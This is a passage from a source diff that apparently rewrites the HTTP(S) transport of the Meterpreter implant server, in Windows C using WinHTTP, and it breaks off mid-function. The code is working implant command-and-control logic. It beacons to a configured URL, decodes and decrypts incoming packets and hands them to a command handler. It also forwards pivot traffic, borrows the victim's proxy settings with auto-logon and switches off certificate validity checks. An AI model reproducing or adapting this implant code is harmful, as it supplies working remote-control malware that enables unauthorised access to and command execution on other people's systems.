only apply the cert hash if we're given one and it's not the global value - SAFE_FREE(ctx->cert_hash); - unsigned char emptyHash[CERT_HASH_SIZE] = { 0 }; - if (memcmp(config->ssl_cert_hash, emptyHash, CERT_HASH_SIZE)) - { - ctx->cert_hash = (PBYTE)malloc(sizeof(BYTE) * 20); - memcpy(ctx->cert_hash, config->ssl_cert_hash, 20); - } - - ctx->create_req = get_request_winhttp; - ctx->send_req = send_request_winhttp; - ctx->close_req = close_request_winhttp; - ctx->validate_response = validate_response_winhttp; - ctx->receive_response = receive_response_winhttp; - ctx->read_response = read_response_winhttp; - - transport->timeouts.comms = config->common.comms_timeout; - transport->timeouts.retry_total = config->common.retry_total; - transport->timeouts.retry_wait = config->common.retry_wait; - transport->type = ctx->ssl ? METERPRETER_TRANSPORT_HTTPS : METERPRETER_TRANSPORT_HTTP; - ctx->url = transport->url = _wcsdup(config->common.url); - transport->packet_transmit = packet_transmit_http; - transport->server_dispatch = server_dispatch_http; - transport->transport_init = server_init_winhttp; - transport->transport_deinit = server_deinit_http; - transport->transport_destroy = transport_destroy_http; - transport->ctx = ctx; - transport->comms_last_packet = current_unix_timestamp(); - transport->get_config_size = transport_get_config_size_http; - - return transport; -} +/*! + * @file server_transport_http.c + * @remark This file doesn't use precompiled headers because metsrv.h includes a bunch of + * of definitions that clash with those found in winhttp.h. Hooray Win32 API. I hate you. + */ +#include "metsrv.h" +#include "server_transport_wininet.h" +#include +#include "packet_encryption.h" +#include "pivot_packet_dispatch.h" + +/*! + * @brief Prepare a winHTTP request with the given context. + * @param ctx Pointer to the HTTP transport context to prepare the request from. + * @param isGet Indication of whether this request is a GET request, otherwise POST is used. + * @param direction String representing the direction of the communications (for debug). + * @return An Internet request handle. + */ +static HINTERNET get_request_winhttp(HttpTransportContext *ctx, BOOL isGet, const char *direction) +{ + HINTERNET hReq = NULL; + DWORD flags = WINHTTP_FLAG_BYPASS_PROXY_CACHE; + + if (ctx->ssl) + { + flags |= WINHTTP_FLAG_SECURE; + dprintf("[%s] Setting secure flag..", direction); + } + + vdprintf("[%s] opening request on connection %x to %S", direction, ctx->connection, ctx->uri); + hReq = WinHttpOpenRequest(ctx->connection, isGet ? L"GET" : L"POST", ctx->uri, NULL, NULL, NULL, flags); + + if (hReq == NULL) + { + dprintf("[%s] Failed WinHttpOpenRequest: %u", direction, GetLastError()); + SetLastError(ERROR_NOT_FOUND); + return NULL; + } + + // if no proxy is set, we should look to see if we can (and should) use the system + // proxy settings for the given user. + if (!ctx->proxy) + { + if (!ctx->proxy_configured) + { + WINHTTP_CURRENT_USER_IE_PROXY_CONFIG ieConfig = { 0 }; + if (WinHttpGetIEProxyConfigForCurrentUser(&ieConfig)) + { + dprintf("[PROXY] Got IE configuration"); + dprintf("[PROXY] AutoDetect: %s", ieConfig.fAutoDetect ? "yes" : "no"); + dprintf("[PROXY] Auto URL: %S", ieConfig.lpszAutoConfigUrl); + dprintf("[PROXY] Proxy: %S", ieConfig.lpszProxy); + dprintf("[PROXY] Proxy Bypass: %S", ieConfig.lpszProxyBypass); + + if (ieConfig.lpszAutoConfigUrl || ieConfig.fAutoDetect) + { + WINHTTP_AUTOPROXY_OPTIONS autoProxyOpts = { 0 }; + WINHTTP_PROXY_INFO proxyInfo = { 0 }; + + if (ieConfig.fAutoDetect) + { + dprintf("[PROXY] IE config set to autodetect with DNS or DHCP"); + + autoProxyOpts.dwFlags = WINHTTP_AUTOPROXY_AUTO_DETECT; + autoProxyOpts.dwAutoDetectFlags = WINHTTP_AUTO_DETECT_TYPE_DHCP | WINHTTP_AUTO_DETECT_TYPE_DNS_A; + autoProxyOpts.lpszAutoConfigUrl = 0; + } + else if (ieConfig.lpszAutoConfigUrl) + { + dprintf("[PROXY] IE config set to autodetect with URL %S", ieConfig.lpszAutoConfigUrl); + + autoProxyOpts.dwFlags = WINHTTP_AUTOPROXY_CONFIG_URL; + autoProxyOpts.dwAutoDetectFlags = 0; + autoProxyOpts.lpszAutoConfigUrl = ieConfig.lpszAutoConfigUrl; + } + autoProxyOpts.fAutoLogonIfChallenged = TRUE; + + if (WinHttpGetProxyForUrl(ctx->internet, ctx->url, &autoProxyOpts, &proxyInfo)) + { + ctx->proxy_for_url = malloc(sizeof(WINHTTP_PROXY_INFO)); + memcpy(ctx->proxy_for_url, &proxyInfo, sizeof(WINHTTP_PROXY_INFO)); + } + } + else if (ieConfig.lpszProxy) + { + WINHTTP_PROXY_INFO* proxyInfo = (WINHTTP_PROXY_INFO*)calloc(1, sizeof(WINHTTP_PROXY_INFO)); + ctx->proxy_for_url = proxyInfo; + + dprintf("[PROXY] IE config set to proxy %S with bypass %S", ieConfig.lpszProxy, ieConfig.lpszProxyBypass); + + proxyInfo->dwAccessType = WINHTTP_ACCESS_TYPE_NAMED_PROXY; + proxyInfo->lpszProxy = ieConfig.lpszProxy; + proxyInfo->lpszProxyBypass = ieConfig.lpszProxyBypass; + + // stop the cleanup code from removing these as we're using them behind the scenes and they will + // be freed later instead. + ieConfig.lpszProxy = NULL; + ieConfig.lpszProxyBypass = NULL;; + } + + if (ieConfig.lpszAutoConfigUrl) + { + GlobalFree(ieConfig.lpszAutoConfigUrl); + } + if (ieConfig.lpszProxy) + { + GlobalFree(ieConfig.lpszProxy); + } + if (ieConfig.lpszProxyBypass) + { + GlobalFree(ieConfig.lpszProxyBypass); + } + } + + // mark as "configured" so we don't attempt to do this horrible PoS mess again. + ctx->proxy_configured = TRUE; + } + + if (ctx->proxy_for_url && + !WinHttpSetOption(hReq, WINHTTP_OPTION_PROXY, ctx->proxy_for_url, sizeof(WINHTTP_PROXY_INFO))) + { + dprintf("[%s] Unable to set proxy options: %u", GetLastError()); + } + } + else + { + if (ctx->proxy_user) + { + dprintf("[%s] Setting proxy username to %S", direction, ctx->proxy_user); + if (!WinHttpSetOption(hReq, WINHTTP_OPTION_PROXY_USERNAME, ctx->proxy_user, (DWORD)(wcslen(ctx->proxy_user)))); + { + dprintf("[%s] Failed to set username %u", direction, GetLastError()); + } + } + if (ctx->proxy_pass) + { + dprintf("[%s] Setting proxy password to %S", direction, ctx->proxy_pass); + if (!WinHttpSetOption(hReq, WINHTTP_OPTION_PROXY_PASSWORD, ctx->proxy_pass, (DWORD)(wcslen(ctx->proxy_pass)))); + { + dprintf("[%s] Failed to set password %u", direction, GetLastError()); + } + } + } + + if (ctx->ssl) + { + flags = SECURITY_FLAG_IGNORE_UNKNOWN_CA + | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID + | SECURITY_FLAG_IGNORE_CERT_CN_INVALID + | SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE; + if (!WinHttpSetOption(hReq, WINHTTP_OPTION_SECURITY_FLAGS, &flags, sizeof(flags))) + { + dprintf("[%s] failed to set the security flags on the request", direction); + } + } + + return hReq; +} + +/* + * @brief Wrapper around WinHTTP-specific request handle closing functionality. + * @param hReq HTTP request handle. + * @return An indication of the result of sending the request. + */ +static BOOL close_request_winhttp(HANDLE hReq) +{ + return WinHttpCloseHandle(hReq); +} + +/*! + * @brief Wrapper around WinHTTP-specific response data reading functionality. + * @param hReq HTTP request handle. + * @param buffer Pointer to the data buffer. + * @param bytesToRead The number of bytes to read. + * @param bytesRead The number of bytes actually read. + * @return An indication of the result of sending the request. + */ +static BOOL read_response_winhttp(HANDLE hReq, LPVOID buffer, DWORD bytesToRead, LPDWORD bytesRead) +{ + return WinHttpReadData(hReq, buffer, bytesToRead, bytesRead); +} + + +/*! + * @brief Wrapper around WinHTTP-specific sending functionality. + * @param ctx Pointer to the current HTTP transport context. + * @param hReq HTTP request handle. + * @param buffer Pointer to the buffer to receive the data. + * @param size Buffer size. + * @return An indication of the result of sending the request. + */ +static BOOL send_request_winhttp(HttpTransportContext* ctx, HANDLE hReq, LPVOID buffer, DWORD size) +{ + if (ctx->custom_headers) + { + dprintf("[WINHTTP] Sending with custom headers: %S", ctx->custom_headers); + return WinHttpSendRequest(hReq, ctx->custom_headers, -1L, buffer, size, size, 0); + } + + return WinHttpSendRequest(hReq, NULL, 0, buffer, size, size, 0); +} + +/*! + * @brief Wrapper around WinHTTP-specific receiving functionality. + * @param hReq HTTP request handle. + * @return An indication of the result of receiving the request. + */ +static BOOL receive_response_winhttp(HANDLE hReq) +{ + return WinHttpReceiveResponse(hReq, NULL); +} + +/*! + * @brief Wrapper around WinHTTP-specific request response validation. + * @param hReq HTTP request handle. + * @param ctx The HTTP transport context. + * @return An indication of the result of getting a response. + */ +static DWORD validate_response_winhttp(HANDLE hReq, HttpTransportContext* ctx) +{ + DWORD statusCode; + DWORD statusCodeSize = sizeof(statusCode); + vdprintf("[PACKET RECEIVE WINHTTP] Getting the result code..."); + if (WinHttpQueryHeaders(hReq, WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER, WINHTTP_HEADER_NAME_BY_INDEX, &statusCode, &statusCodeSize, WINHTTP_NO_HEADER_INDEX)) + { + vdprintf("[PACKET RECEIVE WINHTTP] Returned status code is %d", statusCode); + + // did the request succeed? + if (statusCode != 200) + { + // There are a few reasons why this could fail, including proxy related stuff. + // If we fail, we're going to fallback to WinINET and see if that works instead. + // there could be a number of reasons for failure, but we're only going to try + // to handle the case where proxy authentication fails. We'll indicate failure and + // let the switchover happen for us. + + // However, we won't do this in the case where cert hash verification is turned on, + // because we don't want to expose people to MITM if they've explicitly asked us not + // to. + if (ctx->cert_hash == NULL && statusCode == 407) + { + return ERROR_WINHTTP_CANNOT_CONNECT; + } + + // indicate something is up. + return ERROR_BAD_CONFIGURATION; + } + } + + if (ctx->cert_hash != NULL) + { + vdprintf("[PACKET RECEIVE WINHTTP] validating certificate hash"); + PCERT_CONTEXT pCertContext = NULL; + DWORD dwCertContextSize = sizeof(pCertContext); + + if (!WinHttpQueryOption(hReq, WINHTTP_OPTION_SERVER_CERT_CONTEXT, &pCertContext, &dwCertContextSize)) + { + dprintf("[PACKET RECEIVE WINHTTP] Failed to get the certificate context: %u", GetLastError()); + return ERROR_WINHTTP_SECURE_INVALID_CERT; + } + + DWORD dwHashSize = 20; + BYTE hash[20]; + if (!CertGetCertificateContextProperty(pCertContext, CERT_SHA1_HASH_PROP_ID, hash, &dwHashSize)) + { + dprintf("[PACKET RECEIVE WINHTTP] Failed to get the certificate hash: %u", GetLastError()); + return ERROR_WINHTTP_SECURE_INVALID_CERT; + } + + if (memcmp(hash, ctx->cert_hash, CERT_HASH_SIZE) != 0) + { + dprintf("[SERVER] Server hash set to: %02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x", + hash[0], hash[1], hash[2], hash[3], hash[4], hash[5], hash[6], hash[7], hash[8], hash[9], hash[10], + hash[11], hash[12], hash[13], hash[14], hash[15], hash[16], hash[17], hash[18], hash[19]); + + dprintf("[PACKET RECEIVE WINHTTP] Certificate hash doesn't match, bailing out"); + return ERROR_WINHTTP_SECURE_INVALID_CERT; + } + } + + return ERROR_SUCCESS; +} + +/*! + * @brief Windows-specific function to transmit a packet via HTTP(s) using winhttp _and_ destroy it. + * @param remote Pointer to the \c Remote instance. + * @param packet Pointer to the \c Packet that is to be sent. + * @param completion Pointer to the completion routines to process. + * @return An indication of the result of processing the transmission request. + */ +static DWORD packet_transmit_http(Remote *remote, LPBYTE rawPacket, DWORD rawPacketLength) +{ + DWORD res = 0; + HINTERNET hReq; + BOOL result; + DWORD retries = 5; + HttpTransportContext* ctx = (HttpTransportContext*)remote->transport->ctx; + + lock_acquire(remote->lock); + + do + { + hReq = ctx->create_req(ctx, FALSE, "PACKET TRANSMIT"); + if (hReq == NULL) + { + break; + } + + result = ctx->send_req(ctx, hReq, rawPacket, rawPacketLength); + + if (!result) + { + dprintf("[PACKET TRANSMIT] Failed HttpSendRequest: %d", GetLastError()); + SetLastError(ERROR_NOT_FOUND); + break; + } + + dprintf("[PACKET TRANSMIT] request sent.. apparently"); + } while(0); + + ctx->close_req(hReq); + + lock_release(remote->lock); + + return res; +} + +/*! + * @brief Windows-specific function to receive a new packet via one of the HTTP libs (WinInet or WinHTTP). + * @param remote Pointer to the \c Remote instance. + * @param packet Pointer to a pointer that will receive the \c Packet data. + * @return An indication of the result of processing the transmission request. + */ +static DWORD packet_receive_http(Remote *remote, Packet **packet) +{ + DWORD headerBytes = 0, payloadBytesLeft = 0, res; + Packet *localPacket = NULL; + PacketHeader header; + LONG bytesRead; + BOOL inHeader = TRUE; + PUCHAR packetBuffer = NULL; + ULONG payloadLength; + HttpTransportContext* ctx = (HttpTransportContext*)remote->transport->ctx; + + HINTERNET hReq; + BOOL hRes; + DWORD retries = 5; + + lock_acquire(remote->lock); + + hReq = ctx->create_req(ctx, TRUE, "PACKET RECEIVE"); + if (hReq == NULL) + { + goto out; + } + + vdprintf("[PACKET RECEIVE HTTP] sending GET"); + hRes = ctx->send_req(ctx, hReq, NULL, 0); + + if (!hRes) + { + dprintf("[PACKET RECEIVE HTTP] Failed send_req: %d %d", GetLastError(), WSAGetLastError()); + SetLastError(ERROR_NOT_FOUND); + goto out; + } + + vdprintf("[PACKET RECEIVE HTTP] Waiting to see the response ..."); + if (ctx->receive_response && !ctx->receive_response(hReq)) + { + vdprintf("[PACKET RECEIVE] Failed receive: %d", GetLastError()); + SetLastError(ERROR_NOT_FOUND); + goto out; + } + + SetLastError(ctx->validate_response(hReq, ctx)); + + if (GetLastError() != ERROR_SUCCESS) + { + goto out; + } + + // Read the packet length + retries = 3; + vdprintf("[PACKET RECEIVE HTTP] Start looping through the receive calls"); + while (inHeader && retries > 0) + { + retries--; + if (!ctx->read_response(hReq, (PUCHAR)&header + headerBytes, sizeof(PacketHeader)-headerBytes, &bytesRead)) + { + dprintf("[PACKET RECEIVE HTTP] Failed HEADER read_response: %d", GetLastError()); + SetLastError(ERROR_NOT_FOUND); + goto out; + } + + vdprintf("[PACKET RECEIVE NHTTP] Data received: %u bytes", bytesRead); + + // If the response contains no data, this is fine, it just means the + // remote side had nothing to tell us. Indicate this through a + // ERROR_EMPTY response code so we can update the timestamp. + if (bytesRead == 0) + { + SetLastError(ERROR_EMPTY); + goto out; + } + + headerBytes += bytesRead; + + if (headerBytes != sizeof(PacketHeader)) + { + continue; + } + + inHeader = FALSE; + } + + if (headerBytes != sizeof(PacketHeader)) + { + dprintf("[PACKET RECEIVE HTTP] headerBytes not valid"); + SetLastError(ERROR_NOT_FOUND); + goto out; + } + + dprintf("[PACKET RECEIVE HTTP] decoding header"); + PacketHeader encodedHeader; + memcpy(&encodedHeader, &header, sizeof(PacketHeader)); + xor_bytes(header.xor_key, (PUCHAR)&header + sizeof(header.xor_key), sizeof(PacketHeader) - sizeof(header.xor_key)); + +#ifdef DEBUGTRACE + PUCHAR h = (PUCHAR)&header; + vdprintf("[HTTP] Packet header: [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X]", + h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15], h[16], h[17], h[18], h[19], h[20], h[21], h[22], h[23], h[24], h[25], h[26], h[27], h[28], h[29], h[30], h[31]); +#endif + + payloadLength = ntohl(header.length) - sizeof(TlvHeader); + vdprintf("[REC HTTP] Payload length is %d", payloadLength); + DWORD packetSize = sizeof(PacketHeader) + payloadLength; + vdprintf("[REC HTTP] total buffer size for the packet is %d", packetSize); + payloadBytesLeft = payloadLength; + + // Allocate the payload + if (!(packetBuffer = (PUCHAR)malloc(packetSize))) + { + dprintf("[REC HTTP] Failed to create the packet buffer"); + SetLastError(ERROR_NOT_ENOUGH_MEMORY); + goto out; + } + dprintf("[REC HTTP] Allocated packet buffer at %p", packetBuffer); + + // Copy the packet header stuff over to the packet + memcpy_s(packetBuffer, sizeof(PacketHeader), (LPBYTE)&encodedHeader, sizeof(PacketHeader)); + + LPBYTE payload = packetBuffer + sizeof(PacketHeader); + + // Read the payload + retries = payloadBytesLeft; + while (payloadBytesLeft > 0 && retries > 0) + { + vdprintf("[PACKET RECEIVE HTTP] reading more data from the body..."); + retries--; + if (!ctx->read_response(hReq, payload + payloadLength - payloadBytesLeft, payloadBytesLeft, &bytesRead)) + { + dprintf("[PACKET RECEIVE] Failed BODY read_response: %d", GetLastError()); + SetLastError(ERROR_NOT_FOUND); + goto out; + } + + if (!bytesRead) + { + vdprintf("[PACKET RECEIVE HTTP] no bytes read, bailing out"); + SetLastError(ERROR_NOT_FOUND); + goto out; + } + + vdprintf("[PACKET RECEIVE HTTP] bytes read: %u", bytesRead); + payloadBytesLeft -= bytesRead; + } + + // Didn't finish? + if (payloadBytesLeft) + { + goto out; + } + +#ifdef DEBUGTRACE + h = (PUCHAR)&header.session_guid[0]; + dprintf("[HTTP] Packet Session GUID: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X", + h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15]); +#endif + + if (is_null_guid(header.session_guid) || memcmp(remote->orig_config->session.session_guid, header.session_guid, sizeof(header.session_guid)) == 0) + { + dprintf("[HTTP] Session GUIDs match (or packet guid is null), decrypting packet"); + SetLastError(decrypt_packet(remote, packet, packetBuffer, packetSize)); + } + else + { + dprintf("[HTTP] Session GUIDs don't match, looking for a pivot"); + PivotContext* pivotCtx = pivot_tree_find(remote->pivot_sessions, header.session_guid); + if (pivotCtx != NULL) + { + dprintf("[HTTP] Pivot found, dispatching packet on a thread (to avoid main thread blocking)"); + SetLastError(pivot_packet_dispatch(pivotCtx, packetBuffer, packetSize)); + + // mark this packet buffer as NULL as the thread will clean it up + packetBuffer = NULL; + *packet = NULL; + } + else + { + dprintf("[HTTP] Session GUIDs don't match, can't find pivot!"); + } + } + +out: + res = GetLastError(); + + dprintf("[HTTP] Cleaning up"); + SAFE_FREE(packetBuffer); + + // Cleanup on failure + if (res != ERROR_SUCCESS) + { + SAFE_FREE(localPacket); + } + + if (hReq) + { + ctx->close_req(hReq); + } + + lock_release(remote->lock); + + dprintf("[HTTP] Packet receive finished"); + + return res; +} + + +/*! + * @brief Initialise the HTTP(S) connection. + * @param transport Pointer to the transport instance. + * @return Indication of success or failure. + */ +static BOOL server_init_winhttp(Transport* transport) +{ + URL_COMPONENTS bits; + wchar_t tmpHostName[URL_SIZE]; + wchar_t tmpUrlPath[URL_SIZE]; + HttpTransportContext* ctx = (HttpTransportContext*)transport->ctx; + + dprintf("[WINHTTP] Initialising ..."); + + // configure proxy + if (ctx->proxy) + { + dprintf("[DISPATCH] Configuring with proxy: %S", ctx->proxy); + ctx->internet = WinHttpOpen(ctx->ua, WINHTTP_ACCESS_TYPE_NAMED_PROXY, ctx->proxy, WINHTTP_NO_PROXY_BYPASS, 0); + } + else + { + ctx->internet = WinHttpOpen(ctx->ua, WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0); + } + + if (!ctx->internet) + { + dprintf("[DISPATCH] Failed WinHttpOpen: %d", GetLastError()); + return FALSE; + } + + dprintf("[DISPATCH] Configured hInternet: 0x%.8x", ctx->internet); + + // The InternetCrackUrl method was poorly designed... + ZeroMemory(tmpHostName, sizeof(tmpHostName)); + ZeroMemory(tmpUrlPath, sizeof(tmpUrlPath)); + + ZeroMemory(&bits, sizeof(bits)); + bits.dwStructSize = sizeof(bits); + + bits.dwHostNameLength = URL_SIZE - 1; + bits.lpszHostName = tmpHostName; + + bits.dwUrlPathLength = URL_SIZE - 1; + bits.lpszUrlPath = tmpUrlPath; + + dprintf("[DISPATCH] About to crack URL: %S", transport->url); + WinHttpCrackUrl(transport->url, 0, 0, &bits); + + SAFE_FREE(ctx->uri); + ctx->uri = _wcsdup(tmpUrlPath); + transport->comms_last_packet = current_unix_timestamp(); + + dprintf("[DISPATCH] Configured URI: %S", ctx->uri); + dprintf("[DISPATCH] Host: %S Port: %u", tmpHostName, bits.nPort); + + // Allocate the connection handle + ctx->connection = WinHttpConnect(ctx->internet, tmpHostName, bits.nPort, 0); + if (!ctx->connection) + { + dprintf("[DISPATCH] Failed WinHttpConnect: %d", GetLastError()); + return FALSE; + } + + dprintf("[DISPATCH] Configured hConnection: 0x%.8x", ctx->connection); + + return TRUE; +} + +/*! + * @brief Deinitialise the HTTP(S) connection. + * @param remote Pointer to the remote instance with the HTTP(S) transport details wired in. + * @return Indication of success or failure. + */ +static DWORD server_deinit_http(Transport* transport) +{ + HttpTransportContext* ctx = (HttpTransportContext*)transport->ctx; + + dprintf("[HTTP] Deinitialising ..."); + + if (ctx->connection) + { + ctx->close_req(ctx->connection); + ctx->connection = NULL; + } + + if (ctx->internet) + { + ctx->close_req(ctx->internet); + ctx->internet = NULL; + } + + // have we had issues that require us to move? + if (ctx->move_to_wininet) + { + // yes, so switch on over. + transport_move_to_wininet(transport); + ctx->move_to_wininet = FALSE; + } + + return TRUE; +} + +/*! + * @brief The servers main dispatch loop for incoming requests using HTTP(S). + * @param remote Pointer to the remote endpoint for this server connection. + * @param dispatchThread Pointer to the main dispatch thread. + * @returns Indication of success or failure. + */ +static DWORD server_dispatch_http(Remote* remote, THREAD* dispatchThread) +{ + BOOL running = TRUE; + LONG result = ERROR_SUCCESS; + Packet* packet = NULL; + THREAD* cpt = NULL; + DWORD ecount = 0; + DWORD delay = 0; + Transport* transport = remote->transport; + HttpTransportContext* ctx = (HttpTransportContext*)transport->ctx; + + while (running) + { + if (transport->timeouts.comms != 0 && transport->comms_last_packet + transport->timeouts.comms < current_unix_timestamp()) + { + dprintf("[DISPATCH] Shutting down server due to communication timeout"); + break; + } + + if (remote->sess_expiry_end != 0 && remote->sess_expiry_end < current_unix_timestamp()) + { + dprintf("[DISPATCH] Shutting down server due to hardcoded expiration time"); + dprintf("Timestamp: %u Expiration: %u", current_unix_timestamp(), remote->sess_expiry_end); + break; + } + + if (event_poll(dispatchThread->sigterm, 0)) + { + dprintf("[DISPATCH] server dispatch thread signaled to terminate..."); + break; + } + + dprintf("[DISPATCH] Reading data from the remote side..."); + result = packet_receive_http(remote, &packet); + + if (result != ERROR_SUCCESS) + { + // Update the timestamp for empty replies + if (result == ERROR_EMPTY) + { + transport->comms_last_packet = current_unix_timestamp(); + } + else if (result == ERROR_WINHTTP_CANNOT_CONNECT) + { + dprintf("[DISPATCH] Failed to work correctly with WinHTTP, moving over to WinINET"); + // next we need to indicate that we need to do a switch to wininet when we terminate + ctx->move_to_wininet = TRUE; + + // and pretend to do a transport switch, to ourselves! + remote->next_transport = remote->transport; + result = ERROR_SUCCESS; + break; + } + else if (result == ERROR_WINHTTP_SECURE_INVALID_CERT) + { + // This means that the certificate validation failed, and so + // we don't trust who we're connecting with, so we need to move + // on to another transport. + // If we're the only transport, then we should wait for the allotted + // time before trying again. Otherwise, we can just switch immediately. + // This avoids spinning the process and making way too many requests + // in a short period of time (ie. avoiding noise). + if (remote->transport == remote->transport->next_transport) + { + remote->next_transport_wait = remote->transport->timeouts.retry_wait; + } + + break; + } + else if (result == ERROR_BAD_CONFIGURATION) + { + // something went wrong with WinINET so break. + break; + } + + delay = 10 * ecount; + if (ecount >= 10) + { + delay *= 10; + } + + ecount++; + + dprintf("[DISPATCH] no pending packets, sleeping for %dms...", min(10000, delay)); + Sleep(min(10000, delay)); + } + else + { + transport->comms_last_packet = current_unix_timestamp(); + + // Reset the empty count when we receive a packet + ecount = 0; + + dprintf("[DISPATCH] Returned result: %d", result); + + if (packet != NULL) + { + running = command_handle(remote, packet); + dprintf("[DISPATCH] command_process result: %s", (running ? "continue" : "stop")); + + if (ctx->new_uri != NULL) + { + dprintf("[DISPATCH] Recieved hot-patched URL for stageless: %S", ctx->new_uri); + dprintf("[DISPATCH] Old URI is: %S", ctx->uri); + dprintf("[DISPATCH] Old URL is: %S", transport->url); + + // if the new URI needs more space, let's realloc space for the new URL now + int diff = (int)wcslen(ctx->new_uri) - (int)wcslen(ctx->uri); + if (diff > 0) + { + dprintf("[DISPATCH] New URI is bigger by %d", diff); + transport->url = (wchar_t*)realloc(transport->url, (wcslen(transport->url) + diff + 1) * sizeof(wchar_t)); + } + + // we also need to patch the new URI into the original transport URL, not just the currently + // active URI for comms. If we don't, then migration behaves badly. + // The URL looks like this: http(s)://:port/lurivalue/UUIDJUNK/ + // Start by locating the start of the URI in the current URL, by finding the third slash, + // as this value includes the LURI + wchar_t* csr = transport->url; + for (int i = 0; i < 3; ++i) + { + // We need to move to the next character first in case + // we are currently pointing at the previously found / + // we know we're safe skipping the first character in the whole + // URL because that'll be part of the scheme (ie. 'h' in http) + ++csr; + + while (*csr != L'\0' && *csr != L'/') + { + ++csr; + } + + dprintf("[DISPATCH] %d csr: %p -> %S", i, csr, csr); + + // this shouldn't happen! + if (*csr == L'\0') + { + break; + } + } + + // the pointer that we have will be + dprintf("[DISPATCH] Pointer is at: %p -> %S", csr, csr); + + // patch in the new URI + wcscpy_s(csr, wcslen(diff > 0 ? ctx->new_uri : ctx->uri) + 1, ctx->new_uri); + dprintf("[DISPATCH] New URL is: %S", transport->url); + + // clean up + SAFE_FREE(ctx->uri); + ctx->uri = ctx->new_uri; + ctx->new_uri = NULL; + } + } + else + { + dprintf("[DISPATCH] Packet was NULL, this indicates that it was a pivot packet"); + } + } + } + + return result; +} + +/*! + * @brief Destroy the HTTP(S) transport. + * @param transport Pointer to the HTTP(S) transport to reset. + */ +static void transport_destroy_http(Transport* transport) +{ + if (transport && (transport->type & METERPRETER_TRANSPORT_HTTP)) + { + HttpTransportContext* ctx = (HttpTransportContext*)transport->ctx; + + dprintf("[TRANS HTTP] Destroying http transport for url %S", transport->url); + + if (ctx) + { + SAFE_FREE(ctx->cert_hash); + SAFE_FREE(ctx->proxy); + SAFE_FREE(ctx->proxy_pass); + SAFE_FREE(ctx->proxy_user); + SAFE_FREE(ctx->ua); + SAFE_FREE(ctx->uri); + SAFE_FREE(ctx->custom_headers); + if (ctx->proxy_for_url) + { + WINHTTP_PROXY_INFO* proxyInfo = (WINHTTP_PROXY_INFO*)ctx->proxy_for_url; + if (proxyInfo->lpszProxy) + { + GlobalFree(proxyInfo->lpszProxy); + } + if (proxyInfo->lpszProxyBypass) + { + GlobalFree(proxyInfo->lpszProxyBypass); + } + } + SAFE_FREE(ctx->proxy_for_url); + } + SAFE_FREE(transport->url); + SAFE_FREE(transport->ctx); + SAFE_FREE(transport); + } +} + +void transport_write_http_config(Transport* transport, MetsrvTransportHttp* config) +{ + HttpTransportContext* ctx = (HttpTransportContext*)transport->ctx; + + dprintf("[HTTP CONF] Writing timeouts"); + config->common.comms_timeout = transport->timeouts.comms; + config->common.retry_total = transport->timeouts.retry_total; + config->common.retry_wait = transport->timeouts.retry_wait; + wcsncpy(config->common.url, transport->url, URL_SIZE); + + if (ctx->ua) + { + dprintf("[HTTP CONF] Writing UA"); + wcsncpy(config->ua, ctx->ua, UA_SIZE); + } + + if (ctx->cert_hash) + { + dprintf("[HTTP CONF] Writing cert hash"); + memcpy(config->ssl_cert_hash, ctx->cert_hash, CERT_HASH_SIZE); + } + + if (ctx->proxy) + { + dprintf("[HTTP CONF] Writing proxy"); + wcsncpy(config->proxy.hostname, ctx->proxy, PROXY_HOST_SIZE); + } + + if (ctx->proxy_user) + { + dprintf("[HTTP CONF] Writing user"); + wcsncpy(config->proxy.username, ctx->proxy_user, PROXY_USER_SIZE); + } + + if (ctx->proxy_pass) + { + dprintf("[HTTP CONF] Writing pass"); + wcsncpy(config->proxy.password, ctx->proxy_pass, PROXY_PASS_SIZE); + } + + + if (ctx->custom_headers) + { + dprintf("[HTTP CONF] Writing custom headers"); + // let's hope they've allocated the right amount of space based on what we told them + // in transport_get_config_size_http + wcscpy(config->custom_headers, ctx->custom_headers); + } + + dprintf("[HTTP CONF] Done."); +} + +/*! + * @brief Gets the size of the memory space required to store the configuration for this transport. + * @param t Pointer to the transport. + * @return Size, in bytes of the required memory block. + */ +static DWORD transport_get_config_size_http(Transport* t) +{ + DWORD size = sizeof(MetsrvTransportHttp); + + // Make sure we account for the custom headers, if there are any, which aren't + // of a predetermined size. + HttpTransportContext* ctx = (HttpTransportContext*)t->ctx; + if (ctx->custom_headers) + { + size += (DWORD)wcslen(ctx->custom_headers) * sizeof(ctx->custom_headers[0]); + } + return size; +} + + +/*! + * @brief Create an HTTP(S) transport from the given settings. + * @param config Pointer to the HTTP configuration block. + * @param size Pointer to the size of the parsed config block. + * @param config Pointer to the HTTP configuration block. + * @return Pointer to the newly configured/created HTTP(S) transport instance. + */ +Transport* transport_create_http(MetsrvTransportHttp* config, LPDWORD size) +{ + Transport* transport = (Transport*)malloc(sizeof(Transport)); + HttpTransportContext* ctx = (HttpTransportContext*)malloc(sizeof(HttpTransportContext)); + + if (size) + { + *size = sizeof(MetsrvTransportHttp); + } + + dprintf("[TRANS HTTP] Creating http transport for url %S", config->common.url); + + memset(transport, 0, sizeof(Transport)); + memset(ctx, 0, sizeof(HttpTransportContext)); + + dprintf("[TRANS HTTP] Given ua: %S", config->ua); + if (config->ua[0]) + { + ctx->ua = _wcsdup(config->ua); + } + dprintf("[TRANS HTTP] Given proxy host: %S", config->proxy.hostname); + if (config->proxy.hostname[0]) + { + ctx->proxy = _wcsdup(config->proxy.hostname); + } + dprintf("[TRANS HTTP] Given proxy user: %S", config->proxy.username); + if (config->proxy.username[0]) + { + ctx->proxy_user = 